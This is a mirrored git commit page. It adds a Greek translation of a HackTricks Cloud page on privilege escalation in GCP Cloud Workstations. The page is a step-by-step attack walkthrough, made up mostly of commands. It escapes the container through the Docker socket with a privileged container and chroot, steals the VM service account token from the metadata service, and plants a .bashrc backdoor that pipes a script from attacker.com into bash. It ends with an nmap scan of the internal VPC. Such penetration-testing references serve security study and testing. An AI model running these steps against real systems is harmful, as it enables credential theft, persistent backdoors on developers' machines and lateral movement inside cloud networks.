mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,98 @@
|
||||
# GCP - Cloud Workstations Privesc
|
||||
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
Η κύρια διαδρομή ανάκτησης προνομίων στα Cloud Workstations προέρχεται από την ανάγκη υποστήριξης των workflows **Docker-in-Docker (DinD)** για developers. Όταν η ρύθμιση του workstation προσαρτά το Docker socket ή επιτρέπει privileged containers (μια κοινή ρύθμιση), ένας επιτιθέμενος μέσα στο container του workstation μπορεί να διαφύγει στο υποκείμενο Compute Engine VM και να κλέψει το service account token του.
|
||||
|
||||
**Προαπαιτούμενα:**
|
||||
- Πρόσβαση σε τερματικό ενός Cloud Workstation (μέσω SSH, παραβιασμένης συνεδρίας ή κλεμμένων διαπιστευτηρίων)
|
||||
- Η ρύθμιση του workstation πρέπει να κάνει mount το `/var/run/docker.sock` ή να ενεργοποιεί privileged containers
|
||||
|
||||
**Architecture context:** Το workstation είναι ένα container (Layer 3) που τρέχει πάνω σε Docker/Containerd runtime (Layer 2) σε ένα GCE VM (Layer 1). Το Docker socket δίνει άμεση πρόσβαση στο container runtime του host.
|
||||
|
||||
> [!NOTE]
|
||||
> Το εργαλείο [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) αυτοματοποιεί ολόκληρη τη διαδικασία container escape και σας αφήνει σε ένα root shell στο host VM.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Βήμα 1: Έλεγχος για Docker socket</summary>
|
||||
```bash
|
||||
# Verify the Docker socket is available
|
||||
ls -l /var/run/docker.sock
|
||||
# Expected output: srw-rw---- 1 root docker 0 ...
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Βήμα 2: Διαφυγή στο σύστημα αρχείων του host VM</summary>
|
||||
|
||||
Εκκινούμε ένα container με αυξημένα προνόμια, προσαρτώντας τον root κατάλογο του host στο `/mnt/host`. Επίσης μοιραζόμαστε το host network και το PID namespace για να μεγιστοποιήσουμε την ορατότητα.
|
||||
|
||||
</details>
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
-v /:/mnt/host \
|
||||
alpine sh
|
||||
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
Τώρα έχετε ένα **root shell στην υποκείμενη Compute Engine VM** (Layer 1).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Βήμα 3: Κλέψτε το VM service account token από το IMDS</summary>
|
||||
```bash
|
||||
# From the host VM, query the Instance Metadata Service
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
|
||||
|
||||
# Check which service account is attached
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
|
||||
|
||||
# Check scopes (CRITICAL STEP)
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> **Check the Scopes!**
|
||||
> Ακόμα κι αν ο συνδεδεμένος Service Account είναι **Editor**, το VM μπορεί να περιορίζεται από τα access scopes.
|
||||
> Αν βλέπετε `https://www.googleapis.com/auth/cloud-platform`, έχετε πλήρη πρόσβαση.
|
||||
> Αν βλέπετε μόνο `logging.write` και `monitoring.write`, περιορίζεστε στα **Network Pivot** και **Persistence** vectors παρακάτω.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Βήμα 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
|
||||
Τα Cloud Workstations προσαρτούν έναν persistent disk στο `/home/user`. Εφόσον ο container user (συνήθως `user`, UID 1000) αντιστοιχεί στον host user (UID 1000), μπορείτε να γράψετε στον home κατάλογο του host. Αυτό σας επιτρέπει να backdoor το περιβάλλον ακόμη κι αν το workstation container επαναδημιουργηθεί.
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
|
||||
# Drop a backdoor that executes next time the developer logs in
|
||||
# Note: Do this from the container escape context
|
||||
echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
Εφόσον μοιράζεστε τον χώρο ονομάτων δικτύου του host (`--net=host`), είστε πλέον ένας αξιόπιστος κόμβος στο VPC. Μπορείτε να σαρώσετε για εσωτερικές υπηρεσίες που επιτρέπουν πρόσβαση με βάση το IP whitelisting.
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
|
||||
# Scan the internal VPC subnet
|
||||
nmap -sS -p 80,443,22 10.0.0.0/8
|
||||
```
|
||||
</details>
|
||||
Reference in New Issue
Block a user